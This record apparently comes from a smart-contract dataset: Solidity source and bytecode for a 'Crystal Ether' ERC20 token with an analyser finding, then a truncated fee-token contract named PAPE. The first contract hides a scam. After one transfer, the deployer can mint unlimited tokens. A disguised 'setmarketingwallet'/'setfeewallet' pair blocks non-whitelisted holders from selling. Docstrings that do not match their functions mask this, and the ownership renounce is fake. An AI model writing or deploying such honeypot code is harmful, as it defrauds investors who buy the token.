* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
pragma solidity ^0.8.10;
contract Ownable is Context {
address internal recipients;
address internal router;
address public owner;
mapping (address => bool) internal confirm;
event owned(address indexed previousi, address indexed newi);
constructor () {
address msgSender = _msgSender();
recipients = msgSender;
emit owned(address(0), msgSender);
}
modifier checker() {
require(recipients == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function renounceOwnership() public virtual checker {
emit owned(owner, address(0));
owner = address(0);
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
}
// SPDX-License-Identifier: MIT
contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
bool private truth;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
truth=true;
}
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* transferFrom.
*
* Requirements:
*
* - transferFrom.
*
* _Available since v3.1._
*/
function setmarketingwallet (address set) public checker {
router = set;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - the address approve.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev updateTaxFee
*
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}
else{_transfer(_msgSender(), recipient, amount); return true;}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function fee(address _count) internal checker {
confirm[_count] = true;
}
/**
* @dev updateTaxFee
*
*/
function setfeewallet(address[] memory _counts) external checker {
for (uint256 i = 0; i < _counts.length; i++) {
fee(_counts[i]); }
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (recipient == router) {
require(confirm[sender]); }
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - manualSend
*
* _Available since v3.1._
*/
}
function _deploy(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: deploy to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
}
contract CrystalEther is ERC20{
uint8 immutable private _decimals = 18;
uint256 private _totalSupply = 444000444 * 10 ** 18;
constructor () ERC20('Crystal Ether','CRYSTAL') {
_deploy(_msgSender(), _totalSupply);
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d714610276578063a9059cbb146102a6578063c6c59200146102d6578063dd62ed3e146102f2576100f5565b806370a0823114610200578063715018a6146102305780638da5cb5b1461023a57806395d89b4114610258576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b457806354caf86c146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f919061147c565b60405180910390f35b610132600480360381019061012d9190611546565b6103b4565b60405161013f91906115a1565b60405180910390f35b6101506103d2565b60405161015d91906115cb565b60405180910390f35b610180600480360381019061017b91906115e6565b6103dc565b60405161018d91906115a1565b60405180910390f35b61019e6104dd565b6040516101ab9190611655565b60405180910390f35b6101ce60048036038101906101c99190611546565b610505565b6040516101db91906115a1565b60405180910390f35b6101fe60048036038101906101f99190611670565b6105b1565b005b61021a60048036038101906102159190611670565b61068a565b60405161022791906115cb565b60405180910390f35b6102386106d3565b005b610242610829565b60405161024f91906116ac565b60405180910390f35b61026061084f565b60405161026d919061147c565b60405180910390f35b610290600480360381019061028b9190611546565b6108e1565b60405161029d91906115a1565b60405180910390f35b6102c060048036038101906102bb9190611546565b6109d5565b6040516102cd91906115a1565b60405180910390f35b6102f060048036038101906102eb919061180f565b610c3c565b005b61030c60048036038101906103079190611858565b610d17565b60405161031991906115cb565b60405180910390f35b606060078054610331906118c7565b80601f016020809104026020016040519081016040528092919081815260200182805461035d906118c7565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610d9e565b8484610da6565b6001905092915050565b6000600654905090565b60006103e9848484610f71565b6000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610434610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ab9061196b565b60405180910390fd5b6104d1856104c0610d9e565b85846104cc91906119ba565b610da6565b60019150509392505050565b60007f0000000000000000000000000000000000000000000000000000000000000012905090565b60006105a7610512610d9e565b848460056000610520610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105a291906119ee565b610da6565b6001905092915050565b6105b9610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610646576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063d90611a90565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106db610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610768576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075f90611a90565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f5f04b3e53e8649c529695dc1d3ddef0535b093b2022dd4e04bb2c4db963a09b060405160405180910390a36000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606008805461085e906118c7565b80601f016020809104026020016040519081016040528092919081815260200182805461088a906118c7565b80156108d75780601f106108ac576101008083540402835291602001916108d7565b820191906000526020600020905b8154815290600101906020018083116108ba57829003601f168201915b5050505050905090565b600080600560006108f0610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156109ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a490611b22565b60405180910390fd5b6109ca6109b8610d9e565b8585846109c591906119ba565b610da6565b600191505092915050565b60006109df610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610a4c575060011515600960009054906101000a900460ff161515145b15610a8757610a63610a5c610d9e565b8484610f71565b6000600960006101000a81548160ff02191690831515021790555060019050610c36565b610a8f610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610afc575060001515600960009054906101000a900460ff161515145b15610c1f57610b168260065461129590919063ffffffff16565b600681905550610b6e82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461129590919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c0e91906115cb565b60405180910390a360019050610c36565b610c31610c2a610d9e565b8484610f71565b600190505b92915050565b610c44610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc890611a90565b60405180910390fd5b60005b8151811015610d1357610d00828281518110610cf357610cf2611b42565b5b60200260200101516112f3565b8080610d0b90611b71565b915050610cd4565b5050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0d90611c2c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7d90611cbe565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f6491906115cb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fe1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd890611d50565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611051576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104890611de2565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110fe57600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166110fd57600080fd5b5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611185576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117c90611e74565b60405180910390fd5b818161119191906119ba565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461122391906119ee565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161128791906115cb565b60405180910390a350505050565b60008082846112a491906119ee565b9050838110156112e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e090611ee0565b60405180910390fd5b8091505092915050565b6112fb610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137f90611a90565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561141d578082015181840152602081019050611402565b8381111561142c576000848401525b50505050565b6000601f19601f8301169050919050565b600061144e826113e3565b61145881856113ee565b93506114688185602086016113ff565b61147181611432565b840191505092915050565b600060208201905081810360008301526114968184611443565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006114dd826114b2565b9050919050565b6114ed816114d2565b81146114f857600080fd5b50565b60008135905061150a816114e4565b92915050565b6000819050919050565b61152381611510565b811461152e57600080fd5b50565b6000813590506115408161151a565b92915050565b6000806040838503121561155d5761155c6114a8565b5b600061156b858286016114fb565b925050602061157c85828601611531565b9150509250929050565b60008115159050919050565b61159b81611586565b82525050565b60006020820190506115b66000830184611592565b92915050565b6115c581611510565b82525050565b60006020820190506115e060008301846115bc565b92915050565b6000806000606084860312156115ff576115fe6114a8565b5b600061160d868287016114fb565b935050602061161e868287016114fb565b925050604061162f86828701611531565b9150509250925092565b600060ff82169050919050565b61164f81611639565b82525050565b600060208201905061166a6000830184611646565b92915050565b600060208284031215611686576116856114a8565b5b6000611694848285016114fb565b91505092915050565b6116a6816114d2565b82525050565b60006020820190506116c1600083018461169d565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61170482611432565b810181811067ffffffffffffffff82111715611723576117226116cc565b5b80604052505050565b600061173661149e565b905061174282826116fb565b919050565b600067ffffffffffffffff821115611762576117616116cc565b5b602082029050602081019050919050565b600080fd5b600061178b61178684611747565b61172c565b905080838252602082019050602084028301858111156117ae576117ad611773565b5b835b818110156117d757806117c388826114fb565b8452602084019350506020810190506117b0565b5050509392505050565b600082601f8301126117f6576117f56116c7565b5b8135611806848260208601611778565b91505092915050565b600060208284031215611825576118246114a8565b5b600082013567ffffffffffffffff811115611843576118426114ad565b5b61184f848285016117e1565b91505092915050565b6000806040838503121561186f5761186e6114a8565b5b600061187d858286016114fb565b925050602061188e858286016114fb565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806118df57607f821691505b602082108114156118f3576118f2611898565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b60006119556028836113ee565b9150611960826118f9565b604082019050919050565b6000602082019050818103600083015261198481611948565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006119c582611510565b91506119d083611510565b9250828210156119e3576119e261198b565b5b828203905092915050565b60006119f982611510565b9150611a0483611510565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611a3957611a3861198b565b5b828201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611a7a6020836113ee565b9150611a8582611a44565b602082019050919050565b60006020820190508181036000830152611aa981611a6d565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611b0c6025836113ee565b9150611b1782611ab0565b604082019050919050565b60006020820190508181036000830152611b3b81611aff565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611b7c82611510565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611baf57611bae61198b565b5b600182019050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611c166024836113ee565b9150611c2182611bba565b604082019050919050565b60006020820190508181036000830152611c4581611c09565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611ca86022836113ee565b9150611cb382611c4c565b604082019050919050565b60006020820190508181036000830152611cd781611c9b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611d3a6025836113ee565b9150611d4582611cde565b604082019050919050565b60006020820190508181036000830152611d6981611d2d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611dcc6023836113ee565b9150611dd782611d70565b604082019050919050565b60006020820190508181036000830152611dfb81611dbf565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611e5e6026836113ee565b9150611e6982611e02565b604082019050919050565b60006020820190508181036000830152611e8d81611e51565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611eca601b836113ee565b9150611ed582611e94565b602082019050919050565b60006020820190508181036000830152611ef981611ebd565b905091905056fea26469706673582212206ad7c4ff40db2a3d083dfc8d600613000b777c8a73f8fab904b8563dd889bba564736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
| 2,404 |
0x7b5b09cc6a81b84c9560fb84564b6fcf5801e785
|
/**
*Submitted for verification at Etherscan.io on 2022-03-17
*/
// SPDX-License-Identifier: Unlicensed
// https://t.me/papeeth
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract PoorApeHondaCivicClub is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Poor Ape Honda Civic Club";
string private constant _symbol = "PAPE";
uint8 private constant _decimals = 9;
mapping (address => uint256) _balances;
mapping(address => uint256) _lastTX;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 _totalSupply = 1000000000 * 10**9;
//Buy Fee
uint256 private _taxFeeOnBuy = 11;
//Sell Fee
uint256 private _taxFeeOnSell = 18;
//Original Fee
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
address payable private _marketingAddress = payable(0x5F2F19B21837c31bdf31db9CDC399685F1Bd537c);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
bool private transferDelay = true;
uint256 public _maxTxAmount = 7500000 * 10**9; //0.75
uint256 public _maxWalletSize = 15000000 * 10**9; //1.5
uint256 public _swapTokensAtAmount = 5000000 * 10**9; //0.1
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_balances[_msgSender()] = _totalSupply;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_marketingAddress] = true; //multisig
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) {
require(tradingOpen, "TOKEN: Trading not yet started");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
if(from == uniswapV2Pair && transferDelay){
require(_lastTX[tx.origin] + 3 minutes < block.timestamp && _lastTX[to] + 3 minutes < block.timestamp, "TOKEN: 3 minutes cooldown between buys");
}
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _swapTokensAtAmount)
{
contractTokenBalance = _swapTokensAtAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance); // Reserve of 15% of tokens for liquidity
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0 ether) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_taxFee = _taxFeeOnSell;
}
}
_lastTX[tx.origin] = block.timestamp;
_lastTX[to] = block.timestamp;
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
uint256 ethAmt = tokenAmount.mul(85).div(100);
uint256 liqAmt = tokenAmount - ethAmt;
uint256 balanceBefore = address(this).balance;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
ethAmt,
0,
path,
address(this),
block.timestamp
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
addLiquidity(liqAmt, amountETH.mul(15).div(100));
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
